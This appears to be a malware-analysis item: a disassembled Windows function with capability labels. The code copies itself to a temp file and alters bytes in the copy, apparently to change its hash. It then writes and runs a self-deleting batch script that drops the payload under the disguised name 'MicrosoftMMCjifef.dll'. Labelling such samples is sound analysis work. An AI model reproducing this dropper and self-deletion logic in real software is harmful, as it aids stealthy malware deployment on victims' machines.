Function at 0x401800
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Self delete

Disassembly:
push 0xffffffffffffffff
push 0x4036e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push esi
push edi
lea ecx, [esp + 0xc]
call fcn.00403352
lea ecx, [esp + 0x14]
mov dword [esp + 0x4c], 0
call fcn.00403352
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 1
call fcn.00403352
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x50], 2
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x104
push 0x104
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x50], 3
call fcn.0040337c
lea ecx, [esp + 0x18]
mov byte [esp + 0x4c], 2
call sub.MFC42.DLL_CString::CString
push 0x5c
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x18]
push eax
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Mid
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x50], 4
call fcn.0040337c
lea ecx, [esp + 0x18]
mov byte [esp + 0x4c], 2
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x10]
push 0x104
push 0x104
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::GetBuffer
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push eax
push esi
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.ydlem.tmp
lea edx, [esp + 0x18]
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov esi, dword [eax]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
mov byte [esp + 0x58], 5
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
mov byte [esp + 0x4c], 6
push eax
call fcn.00401200
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea ecx, [esp + 0x14]
push str.ydlem.bat
lea edx, [esp + 0x20]
mov bl, 7
push ecx
push edx
mov byte [esp + 0x58], bl
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x58], 8
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0x1c]
mov esi, eax
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
test esi, esi
je 0x401c7d
push str._echo_off_n
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::WriteString
lea eax, [esp + 0x10]
lea ecx, [esp + 0x24]
push eax
push str.del__f__q
push ecx
call sub.MFC42.DLL_operator
lea edx, [esp + 0xc]
mov byte [esp + 0x4c], 9
push edx
push eax
lea eax, [esp + 0x28]
push eax
call sub.MFC42.DLL_operator_1
push 0x405224
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x58], 0xa
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x50], 0xb
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4c], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x4c], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
push str.copy
push eax
call sub.MFC42.DLL_operator
push 0x405210
lea ecx, [esp + 0x2c]
push eax
push ecx
mov byte [esp + 0x58], 0xc
call sub.MFC42.DLL_operator_2
lea edx, [esp + 0x10]
mov byte [esp + 0x4c], 0xd
push edx
push eax
lea eax, [esp + 0x24]
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0xc]
lea edx, [esp + 0x20]
push ecx
push eax
push edx
mov byte [esp + 0x58], 0xe
call sub.MFC42.DLL_operator_1
push 0x405224
push eax
lea eax, [esp + 0x2c]
mov byte [esp + 0x54], 0xf
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x50], 0x10
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x24]
mov byte [esp + 0x4c], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x4c], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4c], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
push 0x406128
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_1
push str.MicrosoftMMCjifef.dll
lea ecx, [esp + 0x1c]
mov byte [esp + 0x50], 0x11
call fcn.0040335e
mov esi, dword [esp + 0x18]
push 0x104
push 0x104
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str._ProtectFile
lea ecx, [esp + 0x1c]
call fcn.0040335e
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x50], 0x12
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 0x11
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
push 0x405224
lea edx, [esp + 0x30]
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x50], 0x13
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 0x11
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
push eax
push str.del__f__q
push ecx
call sub.MFC42.DLL_operator
push str.ydlem.tmp_n
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x58], 0x14
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x50], 0x15
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 0x14
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 0x11
call sub.MFC42.DLL_CString::CString
push str.del__0_n
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CStdioFile::Close
lea ecx, [esp + 0x18]
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x14]
push str.ydlem.tmp
lea ecx, [esp + 0x30]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
push 2
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x58], 0x16
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
test esi, esi
je 0x401d61
push 0
push 0x7b0
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CStdioFile::Seek
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
lea ecx, [esp + 0x18]
call fcn.00403352
mov esi, dword [sym.imp.MSVCRT.dll_rand]
mov byte [esp + 0x4c], 0x17
call esi
push eax
call esi
push eax
call esi
push eax
call esi
push eax
lea edx, [esp + 0x28]
push str._d_d_d_d
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x30]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CStdioFile::Write
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CStdioFile::Close
lea eax, [esp + 0x14]
push str.ydlem.bat
lea ecx, [esp + 0x30]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x4c], 2
call fcn.004033a0
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x4c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x4c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret